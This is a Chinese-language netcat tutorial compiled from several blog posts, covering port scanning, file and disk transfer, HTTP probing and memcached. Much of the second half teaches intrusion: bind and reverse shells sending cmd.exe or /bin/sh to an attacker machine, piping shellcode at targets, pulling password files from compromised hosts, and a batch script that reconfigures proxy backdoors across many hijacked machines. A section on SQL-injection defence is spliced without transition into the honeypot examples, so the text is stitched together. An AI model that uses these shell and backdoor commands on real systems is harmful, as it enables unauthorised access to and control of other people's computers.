Linux - nc命令參數及用法詳解--功能超級強大的網絡工具netcat

參考 :http://www.linuxso.com/command/nc.html

 

NC 全名 Netcat (網絡刀),作者是 Hobbit && ChrisWysopal。因其功能十分強大,體積小巧而出名,又被大家稱爲“瑞士軍刀”。nc  - TCP/IP swiss army knife

  • 1. nc :nc 常用於溢出、反向鏈接、上傳文本等。其實是一個非標準的 telnet 客戶端程序。也是一個 putty.exe 客戶端程序。
  • 2. socat socat 是一個 nc 的替代品,可以稱爲 nc++是 netcat 的 N 倍 加強版。socat 支持的連接方式很多,有 ip、tcp、udp、ipv6、pipe、exec、system、open proxy、openssl 等

 

功能說明:功能強大的網絡工具

語  法:nc [-hlnruz][-g<網關...>][-G<指向器數目>][-i<延遲秒數>][-o<輸出文件>][-p<通信端口>]
		  [-s<來源位址>][-v...][-w<超時秒數>][主機名稱][通信端口...]
參  數:
  -g<網關>         設置路由器躍程通信網關,最多可設置8個。
  -G<指向器數目>   設置來源路由指向器,其數值爲4的倍數。
  -h               在線幫助。
  -i<延遲秒數>     設置時間間隔,以便傳送信息及掃描通信端口。
  -l               監聽模式,用於入站連接 (監聽本地端口)。
  -n               直接使用IP地址,而不通過域名服務器。
  -o<輸出文件>     指定文件名稱,把往來傳輸的數據以16進制字碼傾倒成該文件保存。
  -p<通信端口>     設置本地主機使用的通信端口。
  -r               隨機指定本地與遠端主機的通信端口。
  -s<來源位址>     設置本地主機送出數據包的IP地址。
  -u               使用UDP傳輸協議。
  -v               顯示指令執行過程。
  -w<超時秒數>     設置等待連線的時間。
  -z               使用0輸入/輸出模式,只在掃描通信端口時使用。

[root@hatest1 ~]# type -a nc
nc is /usr/bin/nc
[root@hatest1 ~]# rpm -q nc
nc-1.10-22

 

1)端口掃描

nc -v -z host.example.com 70-80            #掃描端口(70到80),可指定範圍。-v輸出詳細信息。
nc -v -w 1 192.168.228.222 -z 1-1000
root@~# nc -v -w 2 192.168.2.34 -z 21-24   # 也可以不帶-z參數試下效果
nc: connect to 192.168.2.34 port 21 (tcp) failed: Connection refused
Connection to 192.168.2.34 22 port [tcp/ssh] succeeded!
nc: connect to 192.168.2.34 port 23 (tcp) failed: Connection refused
nc: connect to 192.168.2.34 port 24 (tcp) failed: Connection refused


[email protected]:~# nc -v -z -w2 127.0.0.1 1-100
[email protected]:~# nc -v -w 10 10.1.1.180 80
[email protected]:~# nc -v -w 10 10.1.1.180 -z 80-30000


# 監聽本地端口
[email protected]:~# nc -l -p 1234 
[email protected]:~# netstat -tunlp | grep 1234
tcp        0      0 0.0.0.0:1234            0.0.0.0:*               LISTEN      15543/nc


# 測試UDP端口
[email protected]:web# netstat -tunlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name   
tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN      1111/sshd           
udp        0      0 0.0.0.0:68                  0.0.0.0:*                               887/dhclient 


[email protected]:~# nc -vuz  172.16.211.34 68
Connection to 172.16.211.34 68 port [udp/bootpc] succeeded!


nc -p 1234 -w 5 host.example.com 80
建立從本地1234端口到host.example.com的80端口連接,5秒超時
nc -u host.example.com 53
u爲UDP連接

2) 遠程拷貝文件

從server1拷貝文件到server2上。
先在server2上,用nc激活監聽,server2上運行:
[root@hatest2 tmp]# nc -lp 1234 > install.log

server1上運行:
[root@hatest1 ~]# ll install.log
-rw-r--r--   1 root root 39693 12月 20   2007 install.log 
[root@hatest1 ~]# nc -w 1 192.168.228.222 1234 < install.log

目的主機監聽 
nc -l 監聽端口  > 要接收的文件名
nc -l 4444 > cache.tar.gz
源主機發起請求
nc  目的主機ip    目的端口 
nc  192.168.0.85  4444 
netstat  如下
[root@localhost jiangbao]# netstat -tpln
tcp        0      0 0.0.0.0:4444                0.0.0.0:*                   LISTEN      18166/nc  

目錄傳輸
從server1拷貝nginx-0.6.34目錄內容到server2上。
先在server2上,用nc激活監聽,server2上運行:
[root@hatest2 tmp]# nc -l 1234 |tar xzvf -

server1上運行:
[root@hatest1 ~]# ll -d nginx-0.6.34
drwxr-xr-x 8 1000 1000 4096 12-23 17:25 nginx-0.6.34
[root@hatest1 ~]# tar czvf - nginx-0.6.34|nc 192.168.228.222 1234


從192.168.2.33拷貝文件到192.168.2.34
在192.168.2.34上: nc -l 1234 > test.txt
在192.168.2.33上: nc 192.168.2.34 < test.txt


克隆硬盤或分區
操作與上面的拷貝是雷同的,只需要由dd獲得硬盤或分區的數據,然後傳輸即可。
克隆硬盤或分區的操作,不應在已經mount的的系統上進行。
所以,需要使用安裝光盤引導後,進入拯救模式(或使用Knoppix工具光盤)啓動系統後,
在server2上進行類似的監聽動作:
# nc -l -p 1234 | dd of=/dev/sda
server1上執行傳輸,即可完成從server1克隆sda硬盤到server2的任務:
# dd if=/dev/sda | nc 192.168.228.222 1234

3) 簡單聊天工具

在192.168.2.34上: nc -l 1234
在192.168.2.33上: nc 192.168.2.34 1234
這樣,雙方就可以相互交流了。使用ctrl+C(或D)退出。


nc -l 1234
nc 127.0.0.1 1234
在端口1234建立連接,互相發送輸入

 

4) 保存Web頁面

# while true; do nc -l -p 80 -q 1 < somepage.html; done

5) 模擬HTTP Headers

[root@hatest1 ~]# nc www.linuxfly.org 80 GET / HTTP/1.1 Host: ispconfig.org Referrer: mypage.com User-Agent: my-browser
HTTP/1.1 200 OK Date: Tue, 16 Dec 2008 07:23:24 GMT Server: Apache/2.2.6 (Unix) DAV/2 mod_mono/1.2.1 mod_python/3.2.8 Python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8 Set-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/ Expires: 0 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Cache-Control: private, post-check=0, pre-check=0, max-age=0 Set-Cookie: oWn_sid=xRutAY; expires=Tue, 23-Dec-2008 07:23:24 GMT; path=/ Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html [......]


在nc命令後,輸入紅色部分的內容,然後按兩次回車,即可從對方獲得HTTP Headers內容。


echo -n "GET / HTTP/1.0"r"n"r"n" | nc host.example.com 80
連接到主機並執行

6) 用nc命令操作memcached

1)存儲數據:printf “set key 0 10 6rnresultrn” |nc 192.168.2.34 11211
2)獲取數據:printf “get keyrn” |nc 192.168.2.34 11211
3)刪除數據:printf “delete keyrn” |nc 192.168.2.34 11211
4)查看狀態:printf “statsrn” |nc 192.168.2.34 11211
5)模擬top命令查看狀態:watch “echo stats” |nc 192.168.2.34 11211
6)清空緩存:printf “flush_allrn” |nc 192.168.2.34 11211 (小心操作,清空了緩存就沒了)

 

 

 

教程 2

來源:http://blog.csdn.net/xysoul/article/details/52270149

nc的使用方法

netcat被譽爲網絡安全界的‘瑞士軍刀’,相信沒有什麼人不認識它吧......
一個簡單而有用的工具,透過使用TCP或UDP協議的網絡連接去讀寫數據。它被設計成一個穩定的後門工具,能夠直接由其它程序和腳本輕鬆驅動。同時,它也是一個功能強大的網絡調試和探測工具,能夠建立你需要的幾乎所有類型的網絡連接,還有幾個很有意思的內置功能(詳情請看下面的使用方法)。 在中國它的WINDOWS版有兩個版本,一個是原創者Chris Wysopal寫的原版本,另一個是由‘紅與黑’編譯後的新‘濃縮’版。‘濃縮’版的主程序只有10多KB(10多KB的NC是不能完成下面所說的第4、第5種使用方法,有此功能的原版NC好象要60KB:P),雖然“體積”小,但很完成很多工作。

軟件介紹:
工具名:Netcat
作者:Hobbit && Chris Wysopal
網址:http://www.atstake.com/research/tools/network_utilities/
類別:開放源碼
平臺:Linux/BSD/Unix/Windows
WINDOWS下版本號:[v1.10 NT]

參數介紹:

 

nc.exe -h 即可看到各參數的使用方法。
基本格式:nc [-options] hostname port[s] [ports] ...
nc -l -p port [options] [hostname] [port]
-d          後臺模式
-e          程序重定向,一旦連接,就執行 [危險!!]
-g gateway  source-routing hop point[s], up to 8    設置路由器躍程通信網關,最多可設置8個。
-G num      source-routing pointer: 4, 8, 12, ...   設置來源路由指向器,其數值爲4的倍數。
-h          幫助信息
-i secs     延時的間隔
-l          監聽模式,用於入站連接 (監聽本地端口)
-L          連接關閉後,仍然繼續監聽
-n          指定數字的IP地址,不能用hostname。即直接使用IP地址,而不通過域名服務器。
-o file     指定文件名稱,把往來傳輸的數據以16進制字碼傾倒成該文件保存。
-p port     本地端口號 (指定本地端口 )
-r          隨機本地及遠程端口
-s addr     本地源地址
-t          使用TELNET交互方式(用telnet來回應 )
-u          UDP模式
-v          詳細輸出--用兩個-v( -vv)可得到更詳細的內容. 獲得端口信息
-w secs     timeout的時間
-z          將輸入輸出關掉--只用於掃描. 端口的表示方法可寫爲M-N的範圍格式。

 

基本用法:

大概有以下幾種用法:

 

1) 連接到 remote 主機,例子:
    格式:nc -nvv 192.168.x.x 80
    講解:連到192.168.x.x的TCP80端口
2) 監聽 local 主機,例子:
    格式:nc -l -p 80
    講解:監聽本機的TCP80端口
3) 掃描遠程主機,例子:
    格式:nc -nvv -w2 -z 192.168.x.x 80-445
    講解:掃描192.168.x.x的TCP80到TCP445的所有端口
4) remote 主機綁定 shell,例子:
    格式:nc -l -p 5354 -t -e c:winntsystem32cmd.exe
    講解:綁定REMOTE主機的CMDSHELL在REMOTE主機的TCP5354端口
5) REMOTE主機綁定SHELL並反向連接,例子:
    格式:nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354
    講解:綁定REMOTE主機的CMDSHELL並反向連接到192.168.x.x的TCP5354端口
以上爲最基本的幾種用法(其實NC的用法還有很多,當配合管道命令“|”與重定向命令“<”、“>”等等命令功能更強大......)。
高級用法:
6) 作攻擊程序用,例子:
    格式1:type.exe c:exploit.txt|nc -nvv 192.168.x.x 80
    格式2:nc -nvv 192.168.x.x 80 < c:exploit.txt
    講解:連接到192.168.x.x的80端口,並在其管道中發送c:exploit.txt的內容(兩種格式確有相同的效果,真是有異曲同工之妙:P)
    附:c:exploit.txt爲shellcode等
7) 作蜜罐用[1],例子:
    格式:nc -L -p 80
    講解:使用-L(注意L是大寫)可以不停地監聽某一個端口,直到ctrl+c爲止.
8) 作蜜罐用[2],例子:
    格式:nc -L -p 80 > c:log.txt
    講解:使用-L可以不停地監聽某一個端口,直到ctrl+c爲止,同時把結果輸出到c:log.txt中,如果把‘>’改爲‘>>’即可以追加日誌。
    附:c:log.txt爲日誌等
9)作蜜罐用[3],例子:
    格式1:nc -L -p 80 < c:honeypot.txt
    格式2:type.exe c:honeypot.txt|nc -L -p 80
    講解:使用-L可以不停地監聽某一個端口,直到ctrl+c爲止,並把c:honeypot.txt的內容‘送’入其管道中。
          如果攻擊者知道應用會將表單中輸入的內容直接用於驗證身份的查詢,他就會嘗試輸入某些特殊的SQL字符串篡改查詢改變其原來的功能,
          欺騙系統授予訪問權限。系統環境不同,攻擊者可能造成的損害也不同,這主要由應用訪問數據庫的安全權限決定。
          如果用戶的帳戶具有管理員或其他比較高級的權限,攻擊者就可能對數據庫的表執行各種他想要做的操作,
          包括添加、刪除或更新數據,甚至可能直接刪除表。

 

 

二、如何防範?
好在要防止ASP.NET應用被SQL注入式攻擊闖入並不是一件特別困難的事情,只要在利用表單輸入的內容構造SQL命令之前,把所有輸入內容過濾一番就可以了。過濾輸入內容可以按多種方式進行。

⑴ 對於動態構造SQL查詢的場合,可以使用下面的技術:

第一:替換單引號,即把所有單獨出現的單引號改成兩個單引號,防止攻擊者修改SQL命令的含義。再來看前面的例子,“Select * from Users Where login = or 1=1 AND password = or 1=1”顯然會得到與“Select * from Users Where login = or 1=1 AND password = or 1=1”不同的結果。

第二:刪除用戶輸入內容中的所有連字符,防止攻擊者構造出類如“Select * from Users Where login = mas -- AND password =”之類的查詢,因爲這類查詢的後半部分已經被註釋掉,不再有效,攻擊者只要知道一個合法的用戶登錄名稱,根本不需要知道用戶的密碼就可以順利獲得訪問權限。

第三:對於用來執行查詢的數據庫帳戶,限制其權限。用不同的用戶帳戶執行查詢、插入、更新、刪除操作。由於隔離了不同帳戶可執行的操作,因而也就防止了原本用於執行Select命令的地方卻被用於執行Insert、Update或Delete命令。

⑵ 用存儲過程來執行所有的查詢。SQL參數的傳遞方式將防止攻擊者利用單引號和連字符實施攻擊。此外,它還使得數據庫權限可以限制到只允許特定的存儲過程執行,所有的用戶輸入必須遵從被調用的存儲過程的安全上下文,這樣就很難再發生注入式攻擊了。

⑶ 限制表單或查詢字符串輸入的長度。如果用戶的登錄名字最多隻有10個字符,那麼不要認可表單中輸入的10個以上的字符,這將大大增加攻擊者在SQL命令中插入有害代碼的難度。

⑷ 檢查用戶輸入的合法性,確信輸入的內容只包含合法的數據。數據檢查應當在客戶端和服務器端都執行——之所以要執行服務器端驗證,是爲了彌補客戶端驗證機制脆弱的安全性。

在客戶端,攻擊者完全有可能獲得網頁的源代碼,修改驗證合法性的腳本(或者直接刪除腳本),然後將非法內容通過修改後的表單提交給服務器。因此,要保證驗證操作確實已經執行,唯一的辦法就是在服務器端也執行驗證。你可以使用許多內建的驗證對象,例如RegularExpressionValidator,它們能夠自動生成驗證用的客戶端腳本,當然你也可以插入服務器端的方法調用。如果找不到現成的驗證對象,你可以通過CustomValidator自己創建一個。

⑸ 將用戶登錄名稱、密碼等數據加密保存。加密用戶輸入的數據,然後再將它與數據庫中保存的數據比較,這相當於對用戶輸入的數據進行了“消毒”處理,用戶輸入的數據不再對數據庫有任何特殊的意義,從而也就防止了攻擊者注入SQL命令。System.Web.Security.formsAuthentication類有一個HashPasswordForStoringInConfigFile,非常適合於對輸入數據進行消毒處理。

⑹ 檢查提取數據的查詢所返回的記錄數量。如果程序只要求返回一個記錄,但實際返回的記錄卻超過一行,那就當作出錯處理。

 

nc -l -v -p 7626 
    打開本地的7626端口進行監聽,並反饋連接信息。
    如果有掃描冰河木馬的人會認爲你中了木馬開放了7626,和“小豬快跑”的功能有點象。再加個批處理文件一起用的話就是一個“小豬快跑”了。

nc -l -p 80 >>c:\\日誌.dat 
    如果要監視是否有入侵本地80端口的行爲,並記下來用這個命令。這樣,凡是有針對本機80端口的攻擊都會被記錄下來的

nc -l -p 123 -e cmd.exe  或者是: nc -l -p 123 -t 
    如果你通過溢出進入了別人的機器,就可以運行上面命令。作用都是以cmd.exe來響應到機器上123端口的連接。
    這樣就把溢出的主機變成了一臺telnet肉雞了。也可以用命令讓肉雞主動連接你的主機,假設我的IP是192.168.0.1 
    在肉雞上運行: nc -e cmd.exe 192.168.0.1 777 。再在本地機器上運行: nc -l -p 777 
    意思是讓肉雞將cmd.exe(就是個shell)主動響應到你電腦的777端口。你再在本地機上監聽777端口,這樣就進入了對方的cmd了 
    這也微十時毫 反彈端口式木馬的原理了。
 
nc -v 192.168.0.25 80 
    獲取192.168.0.25的80端口的信息。可以獲得IIS版本等很多重要信息 的

nc -v -z 192.168.0.25 1-100 
    掃描192.168.0.25的1到100間的TCP端口
nc -v -z -u 192.168.0.25 1-100 
    這是掃描1到00間的UDP端口
 
nc -vv ip port   //端口的刺探:
    RIVER [192.168.0.198] 19190 (?) open //顯示是否開放open

掃描器
nc -vv -w 5 ip port-port port 
nc -vv -z ip port-port port
  這樣掃描會留下大量的痕跡,系統管理員會額外小心。

後門
victim machine:           // 受害者的機器 
nc -l -p port -e cmd.exe  // win2000 
nc -l -p port -e /bin/sh  // unix,linux 
attacker machine:         // 攻擊者的機器. 
nc ip -p port             // 連接victim_IP,然後得到一個shell。

反向連接 
attacker machine:      //一般是sql2.exe,遠程溢出,webdavx3.exe攻擊. 
//或者wollf的反向連接. 
nc -vv -l -p port 
victim machine: 
nc -e cmd.exe attacker ip -p port 
nc -e /bin/sh attacker ip -p port
或者:
attacker machine: 
nc -vv -l -p port1  
nc -vv -l -p prot2  
victim machine: 
nc attacker_ip port1 | cmd.exe | nc attacker_ip port2 
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2
139要加參數-s(nc.exe -L -p 139 -d -e cmd.exe -s 對方機器IP),這樣就可以保證nc.exe優先於NETBIOS。

傳送文件:
attacker machine <-- victim machine    //從肉雞拖密碼文件回來. 
nc -d -l -p port < path\filedest     可以shell執行 
nc -vv attacker_ip port > path\file.txt 需要Ctrl+C退出 
//肉雞需要gui界面的cmd.exe裏面執行(終端登陸,不如安裝FTP方便).否則沒有辦法輸入Crl+C.
attacker machine --> victim machine //上傳命令文件到肉雞 
nc -vv -l -p port > path\file.txt      需要Ctrl+C退出 
nc -d victim_ip port < path\filedest   可以shell執行 
//這樣比較好.我們登陸終端.入侵其他的肉雞.可以選擇shell模式登陸.

端口數據抓包.
nc -vv -w 2 -o test.txt xfocus.Net 80 21-15
< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error 
< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command "" unr 
< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized... 
< 00000084 83 00 00 01 8f # .....

 

 

telnet,自動批處理。
nc victim_ip port < path\file.cmd   顯示執行過程. 
nc -vv victim_ip port < path\file.cmd   顯示執行過程.
nc -d victim_ip port < path\file.cmd 安靜模式.
_______________file.cmd________________________ 
password 
cd %windir% 
echo []=[%windir%] 
c: 
cd \ 
md test 
cd /d %windir%\system32\ 
net stop sksockserver 
snake.exe -config port 11111 
net start sksockserver 
exit 
_______________file.cmd__END___________________

 

 

######################################## 
     管理肉雞,更改肉雞設置 
########################################
1) 比如要統一更改肉雞上面的代理端口.snake.exe 修改爲11111 服務名稱"sksockserver",使用winshell後門. 端口1234 密碼password
命令格式就是:
modi.bat youip.txt
___________modi.bat____________________________ 
@if "%1"=="" echo Error: no ip.txt &&goto END
:start 
@echo password >a.cmd 
@echo s >>a.cmd 
@echo cd /d %%windir%%\system32\ >>a.cmd 
@net stop "sksockserver" >>a.cmd 
@snake.exe -config port 11111 >>a.cmd 
@net start "sksockserver" >>a.cmd 
@exit >>a.cmd
:auto 
@for /f "eol=; tokens=1,2" %%i in (%1) do @(nc.exe -vv -w 3 %%i 1234 < a.cmd)
:END 
___________modi.bat__END_______________________

2)
@echo off 
color f0 
:start 
cls 
C:\nc -vv -w 3 -l -p 80>>80.txt 
goto start
把防火牆關掉以後運行這個批處理,會監聽到許多探測U漏洞的信息,大多是三條一組--妮姆達病毒掃描你的。
這樣就會得到肉雞的.雖然質量不高.但是也是一種便宜的辦法.
  肉雞特徵:
  1。unicode漏洞 
  2。guest密碼爲空,administrators組用戶 
  3。其他漏洞

 

用於傳輸文件 — ncp

 

#! /bin/sh 
## 類似於rcp,但是是用netcat在高端口做的 
## 在接收文件的機器上做"ncp targetfile" 
## 在發送文件的機器上做"ncp sourcefile receivinghost" 
## 如果調用了 "nzp" ,會將傳輸文件壓縮
## 這裏定義你想使用的端口,可以自由選擇 
MYPORT=23456
## 如果nc沒有在系統路徑中的話,要把下面一行註釋去掉,加以修改 
# PATH=$:$ ; export PATH
## 下面這幾行檢查參數輸入情況:
test "$3" && echo "too many args" && exit 1 
test ! "$1" && echo "no args?" && exit 1 
me=`echo $0 | sed s+.*/++` 
test "$me" = "nzp" && echo [compressed mode]
# if second arg, its a host to send an [extant] file to. 
if test "$2" ; then 
test ! -f "$1" && echo "cant find $1" && exit 1 
if test "$me" = "nzp" ; then 
  compress -c < "$1" | nc -v -w 2 $2 $MYPORT && exit 0 
else 
  nc -v -w 2 $2 $MYPORT < "$1" && exit 0 
fi 
echo "transfer FAILED!" 
exit 1 
fi
# 是否在接收文件機器當前目錄有同名文件
if test -f "$1" ; then 
echo -n "Overwrite $1? " 
read aa 
test ! "$aa" = "y" && echo "[punted!]" && exit 1 
fi 
# 30 seconds oughta be pleeeeenty of time, but change if you want. 
if test "$me" = "nzp" ; then 
# 注意這裏nc的用法,結合了重定向符號和管道 
nc -v -w 30 -p $MYPORT -l < /dev/null | uncompress -c > "$1" && exit 0 
else 
nc -v -w 30 -p $MYPORT -l < /dev/null > "$1" && exit 0 
fi 
echo "transfer FAILED!" 
# clean up, since even if the transfer failed, $1 is already trashed 
rm -f "$1" 
exit 1
這樣的話,我只要在A機器上先 QuackA# ncp ../abcd 
listening on 然後在另一臺機器B上 
QuackB#ncp abcd 192.168.0.2 
quackb [192.168.0.1] 23456 (?) 
A機上出現 
open connect to [192.168.0.2] from quackb [192.168.0.1] 1027 
# 查看一下,文件傳輸完畢。

 

 

===========================================================================
【本地運行】nc -v ip port
【命令解釋】掃瞄某 IP 的某個端口,返回信息詳細輸出。
===========================================================================
【本地運行】nc -v -z ip port-port
【命令解釋】掃描某IP的端口到某端口,返回信息詳細輸出,但掃描速度較慢。
===========================================================================
【本地運行】nc -v -z -u ip  port-port
【命令解釋】掃描某 IP 的某 UDP 端口到某 UDP 端口,返回信息詳細輸出,但掃描速度較慢。
===========================================================================
【本地運行】nc -l -p 80 
【命令解釋】開啓本機的 TCP 80 端口並監聽。
===========================================================================
【本地運行】nc -l -v -p 80
【命令解釋】開啓本機的 TCP 80 端口並將監聽到的信息輸出到當前 CMD 窗口。
===========================================================================
【本地運行】nc -l -p 80 > E:/log.dat
【命令解釋】開啓本機的 TCP 80 端口並將監聽到的信息輸出到 E:/log.dat 下的日誌文件裏。
===========================================================================
【本地運行】nc -nvv 192.168.1.101 80 
【命令解釋】連接到192.168.1.101主機的 80 端口。
===========================================================================
【本地運行】nc -nvv -w2 -z 192.168.1.101 80-1024 
【命令解釋】掃錨192.168.1.101的80-1024端口,連接超時時間爲2秒。
===========================================================================
【遠程運行】nc -l -p 2012 -t -e cmd.exe
【本地運行】nc -nvv 192.168.1.101 2012
【命令解釋】採用正向連接方式,遠程主機(注:假設IP地址爲 192.168.1.101)上運行 nc -l -p 2012 -t -e cmd.exe 意爲綁定遠程主機的 CMD 到
【命令解釋】2012 端口,當本地主機連接遠程主機成功時就會返回給本地主機一個CMD Shell ;在本地主機上運行 nc -nvv 192.168.1.101 2012 用於
【命令解釋】連接已經將 CMD 重定向到 2012 端口的遠程主機(注:假設IP地址爲 192.168.1.101)。
===========================================================================
【本地運行】nc -l -p 2012
【遠程運行】nc -t -e cmd.exe 192.168.1.102 2012
【命令解釋】採用反向連接方式,先在本地主機運行 nc -l -p 2012 開啓本地主機的(注:假設IP地址爲 192.168.1.102)2012 端口並監聽等待遠程主
【命令解釋】機連接;在遠程主機上運行 nc -t -e cmd.exe 192.168.1.102 2012 將遠程主機的 CMD 重定向到 IP 地址爲 192.168.1.102 端口號爲
【命令解釋】2012 的主機上,連接成功後 IP 地址爲 192.168.1.102 的主機會得到一個CMD Shell。
===========================================================================
【本地運行】nc -v -n ip port < C:/sunzn.exe
【遠程運行】nc -v -l -p port > D:/sunzn.exe
【命令解釋】在本地運行 nc -v -n ip port < C:/sunzn.exe 意爲從本地 C 盤根目錄中讀取 sunzn.exe 文件的內容,並把這些數據發送到遠程主機的
【命令解釋】對應端口上(注:命令行中的 IP 爲接收文件的遠程主機 IP ),在遠程主機運行 nc -v -l -p port > D:/sunzn.exe 意爲監聽對應端口並
【命令解釋】把接收到的信息數據寫到 D:/sunzn.exe 中,兩行命令實現了文件在本地主機和遠程主機間的傳輸。
===========================================================================
【本地運行】nc -L -p 8989<C:\ftp.txt ( ftp.txt 中爲FTP自動下載命令)
【命令解釋】不停地監聽 8989 端口,並把 C:\ftp.txt  中的內容發給任何一臺連接本機 8989 端口的主機,可起到傳送文件作用(此用法經常用於反向
【命令解釋】溢出)。溢出遠程主機時,一旦溢出的遠程主機連接本地主機 8989 端口,遠程主機就會自動用 FTP 下載指定的文件,如木馬。
===========================================================================

 

簡單使用教程:

 

命令1:監聽命令
    nc -l -p port
    nc -l -p port > e:\log.dat
    nc -l -v -p port
    參數解釋:
        -l:監聽端口,監聽入站信息
        -p:後跟本地端口號
        -v:顯示端口的信息,如果使用-vv的話,則會顯示端口更詳細的信息
    提示:一般大家都愛用-vv

    nc -l -p 80    //這個很簡單,監聽80端口。如果機器上運行這個命令,端口80被認爲是開放的,可以欺騙掃描器
    nc -l -p 80 > e:\log.dat    //將詳細信息寫入E盤log.dat的日誌文件
    nc -l -v -p 80    //和上邊命令相似,會直接顯示信息在運行着NC的屏幕上。

    實踐:
    例如:nc -l -v -p 80
    然後在瀏覽器中輸入本機IP:127.0.0.1
 
命令2:程序定向(反彈shell的方法)
    nc -l -p port -t -e cmd.exe
    本地機: nc -l -p port 或 nc -l -v -p port
    目標機:nc -e cmd.exe ip port
    參數解釋:
        -l、-p兩個參數已經解釋過了
        -e;作用就是程序定向
        -t:以telnet的形式來應答
    例子
    nc -l -p 5277 -t -e cmd.exe    //千萬不要運行在自己的機器上,如果運行了,你機器就會變成一臺TELNET的服務器了。
    命令解釋:
	監聽本地端口5277的入站信息,同時將CMD.exe這個程序,重定向到端口5277上,
        當有人連接的時候,就讓程序CMD.exe以TELNET的形式來響應連接要求。
        說白了,其實就是讓他成爲一臺TELNET的肉雞,所以這個命令要運行在你的肉雞上。
    例如用法:
        local machine:nc -l -p port ( or nc -l -v -p port )
        remote machine:nc -e cmd.exe ip port
    
    大家知道灰鴿子和神偷吧,這兩款工具都是利用了反彈端口型的木馬,
    什麼叫反彈端口?
    就是說,當對方中馬後,不用你主動和對方連接,也就是說不用從你的client端向對方主機上運行的server端發送請求連接,
	而是對方主動來連接你這樣就可以使很多防火牆失效,因爲很多防火牆都不檢查出站請求的。
	這裏這兩個命令結合在一起後,於那兩款木馬可以說有異曲同工之效。

    本地運行:nc -l -p 5277 (監聽本地5277端口)或者 nc -l -v -p 5277
    然後在遠程機器上,想辦法運行 nc -e cmd.exe ip 5277
    (你可別真的打“ip”在肉雞上啊)要打,xxx.xxx.xxx.xxx這樣!!
    這樣就是反彈~~在本地機器上得到了一個SHELL

命令3:掃描端口
    nc -v ip port
    nc -v -z ip port-port
    nc -v -z -u ip port-port
    參數解釋:
        -z:將輸入輸出關掉,在掃描時使用
    nc -v ip port    //這個命令是針對某一個端口進行掃描
    例如:
    nc -v ip 135    //掃描遠程主機的135端口,這樣獲得了該端口的一些簡單信息,但是針對某些端口,我們還可以獲得更多的信息
    例如:80端口
    nc -v ip 80 然後使用get方法來獲得對方的WEB服務器的信息
    nc -v -z ip port-port    //這個命令是用來掃描的一個命令,這個命令用於快速掃描TCP端口,而port-port則是指定了掃描的端口範圍
    例如:
    nc -v -z ip 1-200    //可以看到我機器上的1-200的TCP端口的開放情況
    nc -v -z -u ip port-port    //這個命令比上個命令多了個-u,這個命令的作用仍然是掃描端口,只是多一個-u的參數,是用來掃UDP端口的
    例如:
    nc -v -z -u ip 1-200    //這個命令就會掃1-200的UDP端口

命令4:傳送文件(HOHO,I LIKE)
    LOCAL MACHINE:nc -v -n ip port < x:\svr.exe
    REMOTE MACHINE:nc -v -l -p port > y:\svr.exe
    參數解釋:
        -n:指定數字的IP地址
    這兩個命令結合起來是用來傳送文件的
    首先,在遠程機上運行命令:
    nc -v -l -p 5277 > c:\pulist.exe
    這個命令還記的嗎?呵呵,是不是和監聽命令有點類似,對,沒錯,這個是監聽5277端口
    並把接受到的信息數據寫到c:\pulist.exe中
    這時候在本地機上運行
    nc -v -n ip 5277 < e:\hack\pulist.exe
    這個命令的意思就是,從本地E盤跟目錄中讀取pulist.exe文件的內容,並把這些數據發送到ip的5277端口上
    這樣遠程主機就會自動創建一個pulist.exe文件。

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章